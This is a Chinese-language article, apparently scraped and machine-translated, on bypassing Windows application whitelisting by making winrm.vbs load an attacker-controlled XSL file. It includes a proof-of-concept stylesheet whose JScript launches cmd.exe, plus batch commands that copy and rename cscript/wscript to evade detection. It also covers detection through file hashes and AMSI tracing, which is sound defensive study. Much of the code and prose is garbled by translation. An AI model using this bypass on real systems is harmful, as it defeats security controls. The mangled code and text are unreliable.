如何使用Winrm.vbs绕过应用白名单执行任意未签名代码

技术如何使用Winrm.vbs绕过应用白名单执行任意未签名代码这篇文章给大家分享的是有关如何使用Winrm.vbs绕过应用白名单执行任意未签名代码的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

本文讲述如何使用Winrm.vbs绕过应用程序白名单,执行任意未签名的代码。我觉得边肖挺实用的,就分享给大家参考,和边肖一起来看看。

严正声明:本文仅限于技术探讨,严禁用于其他用途。

绕过技术

winrm.vbs(System31中的一个Windows签名脚本)能够执行攻击者控制的XSL,它不会受到相关脚本主机的限制,并实现任意无符号代码执行。

当您为winrm.vbs提供“-format :挺”或“-format:text”时,它将从cscript.exe所在的目录导出WsmPty.xsl或WsmTxt.xsl。这意味着,如果攻击者可以将cscript.exe拷贝到他控制的存储恶意XSL的位置,他们就可以执行任意未签名的代码。其实这个问题和凯西史密斯的wmic.exe技术一模一样。

PoC

攻击操作机制如下:

1.将WsmPty.xsl或WsmTxt.xsl存储在攻击者控制的地方;

2.将cscript.exe复制到相同的位置;

使用“-format”指定“漂亮”或“文本”来执行winrm.vbs,具体取决于是使用WsmPty.xsl还是WsmTxt.xsl。

以下是恶意XLS的示例,我们需要将它放在攻击者控制的目录位置。这里我们选择C:\BypassDir\WsmPty.xsl:

?xmlversion='1.0 '?

样式表

xmlns=' http://www . w3 . org/1999/XSL/Transform ' xmlns : ms=' urn : schemas-Microsoft-com : xlt '

xmlns:user=“占位符”

版本='1.0 '

outputmethod='text'/

ms : scriptimplements-前缀='user'language='JScript '

![CDATA[

varr=newactivexoobject(' WScript。Shell ')。运行(' cmd . exe ');

]]/ms:script

/样式表事实上,我们还可以在WsmPty.xsl中嵌入恶意的DotNetToJScript Payload,并执行任何未签名的代码。接下来,您可以使用以下批处理文件来执行负载:

mkdir%SystemDrive%\BypassDir

复制% windir % \ System32 \ cscript . exe % SystemDrive % \ BypassDir

% SystemDrive % \ BypassDir \ cscript//no logo % windir % \ System32 \ winrm . vbsgetwmicmv2/Win32 _ Process?Handle=4-format:挺

检测和绕过策略

在实现这项技术的过程中,必须使用攻击者可控的WsmPty.xsl或者WsmTxt.xsl。

Winrm.vbs对WsmPty.xsl或WsmTxt.xsl进行硬编码,并将它们显式绑定到“漂亮”和“文本”参数。鉴于此,我们似乎没有办法控制winrm.vbs在当前目录下执行不同的xls文件。从检测的角度来看,WsmPty.xsl或WsmTxt.xsl文件的哈希会与System 32中的原始文件哈希不同,因此会被视为可疑文件,因为合法xls文件的哈希值很少发生变化。

此外,合法的WsmPty.xsl或WsmTxt.xsl文件应该由目录签名,哈希值更改后不会签名。也就是说,磁盘上任何未签名的WsmPty.xsl或WsmTxt.xsl文件都应该是可疑的。需要注意的是,目录签名验证需要运行“cryptsvc”服务。

基于命令行检测winrm.vbs存在的方案相对较弱,因为攻击者可以将winrm.vbs重命名为自己选择的文件。

要使用xls文件,您必须在“格式”参数中指定“漂亮”或“文本”。以下是支持的“格式”参数(不区分大小写):

-format :漂亮

-format:“漂亮”

/format :漂亮

/format:“漂亮”

-format:text

-format :“text”

/形式

t:text
/format:"text"

虽然构建基于“format”是否存在的检测方案能够捕捉到所有的变化,但这种检测方案是存在问题的。“format”参数是否合法使用将取决于组织所采用的方案。不过除了System32中的cscript.exe和winrm.vbs之外,不太可能从其他任何地方合法调用了。

下面给出的是一个更新版的.bat PoC,它能够绕过cscript.exe的检测:

mkdir%SystemDrive%\BypassDir\cscript.exe
copy%windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe//nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4-format:pretty

WSH/XSLScript脚本

毫无疑问,攻击者还会继续使用XSL和WSH来进行攻击。理想情况下,攻击者是可以知道Payload到底是从硬盘中执行的还是完全在内存中执行的。虽然Powershell具有这种使用scriptblock日志的能力,但针对WSH却没有相应的工具。随着反恶意软件扫描接口(AMSI)的引入,我们将能够捕捉到WSH内容。

这里我们可以使用logman.exe来对ETL事件进行跟踪,比如说下列命令将能够控制ETW的跟踪操作,并将跟AMSI相关的事件信息保存早AMSITrace.etl之中:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl-ets
<Afterstarting the trace, this is when you'd run your malicious code to capture itscontext.>
logmanstop AMSITrace -ets

接下来,我们还可以通过输出数据清单来了解更多事件信息:

<instrumentation Manifestxmlns="http://schemas.microsoft.com/win/2004/08/events">
 <instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
  <events>
   <provider name="Microsoft-Antimalware-Scan-Interface"guid="{2a576b87-09a7-520e-c21a-4942f0271d67}"resourceFileName="Microsoft-Antimalware-Scan-Interface"messageFileName="Microsoft-Antimalware-Scan-Interface"symbol="MicrosoftAntimalwareScanInterface" source="Xml">
    <keywords>
     <keyword name="Event1"message="$(string.keyword_Event1)" mask="0x1"/>
    </keywords>
    <tasks>
     <task name="task_0"message="$(string.task_task_0)" value="0"/>
    </tasks>
    <events>
     <event value="1101"symbol="task_0" version="0" task="task_0"level="win:Informational" keywords="Event1"template="task_0Args"/>
    </events>
    <templates>
     <templatetid="task_0Args">
      <data name="session"inType="win:Pointer"/>
      <data name="scanStatus"inType="win:UInt8"/>
      <data name="scanResult"inType="win:UInt32"/>
      <data name="appname"inType="win:UnicodeString"/>
      <data name="contentname"inType="win:UnicodeString"/>
      <data name="contentsize"inType="win:UInt32"/>
      <data name="originalsize"inType="win:UInt32"/>
      <data name="content"inType="win:Binary" length="contentsize"/>
      <data name="hash" inType="win:Binary"/>
      <data name="contentFiltered"inType="win:Boolean"/>
     </template>
    </templates>
   </provider>
  </events>
 </instrumentation>
 <localization>
  <resources culture="en-US">
   <stringTable>
    <string id="keyword_Event1"value="Event1"/>
    <string id="task_task_0"value="task_0"/>
   </stringTable>
  </resources>
 </localization>
</instrumentation Manifest>

捕捉到.etl跟踪信息之后,我们可以选择自己喜欢的工具来对其进行分析。Powershell中的Gt-WinEvent就是一个很好的内置.etl解析器。为此,我自己编写了一个简单的脚本来分析AMSI事件,这个脚本还可以捕捉到PowerShell中的内容:

#Script author: Matt Graeber (@mattifestation)
#logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -oAMSITrace.etl -ets
# Doyour malicious things here that would be logged by AMSI
#logman stop AMSITrace -ets
 
$OSArchProperty= Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch= $OSArchProperty.OSArchitecture
 
$OSPointerSize= 32
if($OSArch -eq '64-bit') { $OSPointerSize = 64 }
 
$AMSIScanEvents= Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath'*[System[EventID=1101]]' | ForEach-Object {
    if(-not $_.Properties) {
        # The AMSI provider is not supplyingthe contentname property when WSH content is logged resulting
        # in Get-WinEvent or Event Viewer beingunable to parse the data based on the schema.
        # If this bug were not present,retrieving WSH content would be trivial.
 
        $PayloadString = ([Xml]$_.ToXml()).Event.ProcessingErrorData.EventPayload
        [Byte[]] $PayloadBytes =($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object{[Byte] "0x$_"})
 
        $MemoryStream = New-Object -TypeNameIO.MemoryStream -ArgumentList @(,$PayloadBytes)
        $BinaryReader = New-Object -TypeNameIO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
 
        switch ($OSPointerSize) {
            32 { $Session =$BinaryReader.ReadUInt32() }
            64 { $Session =$BinaryReader.ReadUInt64() }
        }
 
        $ScanStatus = $BinaryReader.ReadByte()
        $ScanResult = $BinaryReader.ReadInt32()
 
        $StringBuilder = New-Object -TypeNameText.StringBuilder
        do { $CharVal =$BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) }while ($CharVal -ne 0)
        $AppName = $StringBuilder.ToString()
        $null = $StringBuilder.Clear()
 
        $ContentSize =$BinaryReader.ReadInt32()
        $OriginalSize =$BinaryReader.ReadInt32()
        $ContentRaw =$BinaryReader.ReadBytes($ContentSize)
        $Content =[Text.Encoding]::Unicode.GetString($ContentRaw)
        $Hash =[BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
        [Bool] $ContentFiltered =$BinaryReader.ReadInt32()
 
        $BinaryReader.Close()
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $null
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    } else {
        $Session = $_.Properties[0].Value
        $ScanStatus = $_.Properties[1].Value
        $ScanResult = $_.Properties[2].Value
        $AppName = $_.Properties[3].Value
        $ContentName = $_.Properties[4].Value
        $Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
        $Hash =[BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
        $ContentFiltered =$_.Properties[9].Value
 
        [PSCustomObject] @{
            Session = $Session
            ScanStatus = $ScanStatus
            ScanResult = $ScanResult
            AppName = $AppName
            ContentName = $ContentName
            Content = $Content
            Hash = $Hash
            ContentFiltered = $ContentFiltered
        }
    }
}
 
$AMSIScanEvents

捕捉到相关信息之后,我们将能够看到Payload的执行内容:

如何使用Winrm.vbs绕过应用白名单执行任意未签名代码

感谢各位的阅读!关于“如何使用Winrm.vbs绕过应用白名单执行任意未签名代码”这篇文章就分享到这里了,希望

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/63492.html

(0)

相关推荐

  • ogg 进程开启前的数据怎么同步(ogg捕获dml)

    技术OGG双向DML复制怎么实现本篇内容主要讲解“OGG双向DML复制怎么实现”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“OGG双向DML复制怎么实现”吧!环境解释:hos

    攻略 2021年12月22日
  • eclipse中的默认编码方式是什么(eclipse编码格式在哪里)

    技术eclipse编码方法是什么本篇内容介绍了“eclipse编码方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成

    攻略 2021年12月23日
  • 夕阳余晖啥意思是什么,落日余晖,残阳晚霞是什么意思

    技术夕阳余晖啥意思是什么,落日余晖,残阳晚霞是什么意思这句话的意思是傍晚的时候,落日的余晖倒映着晚霞夕阳余晖啥意思是什么。出自当代诗家张小红的《浣溪沙·寄夫》:落日余晖映彩霞,绵绵心事向天涯。相思飞过老篱笆。烦闷休贪杯里

    生活 2021年10月28日
  • 转载:Promise输出题10道 加强理解

    技术转载:Promise输出题10道 加强理解 转载:Promise输出题10道 加强理解1.const promise = new Promise((resolve, reject) = {conso

    礼包 2021年10月20日
  • Composer安装及更新YII2框架会遇到什么问题

    技术Composer安装及更新YII2框架会遇到什么问题这篇文章主要为大家展示了“Composer安装及更新YII2框架会遇到什么问题”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习

    攻略 2021年11月19日
  • 抖音刷赞平台,花钱刷点赞会被限流吗?

    技术抖音刷赞平台,花钱刷点赞会被限流吗?抖音大伙都知道,是目前最火爆的短视频APP了。饭馆里,地铁上,火车上,全国各地的人们拿着手机,疯狂的刷刷刷,对着手机哈哈大笑,没错,这肯定是在刷抖音,抖音的火爆程度难以想象。抖音也

    测评 2021年11月11日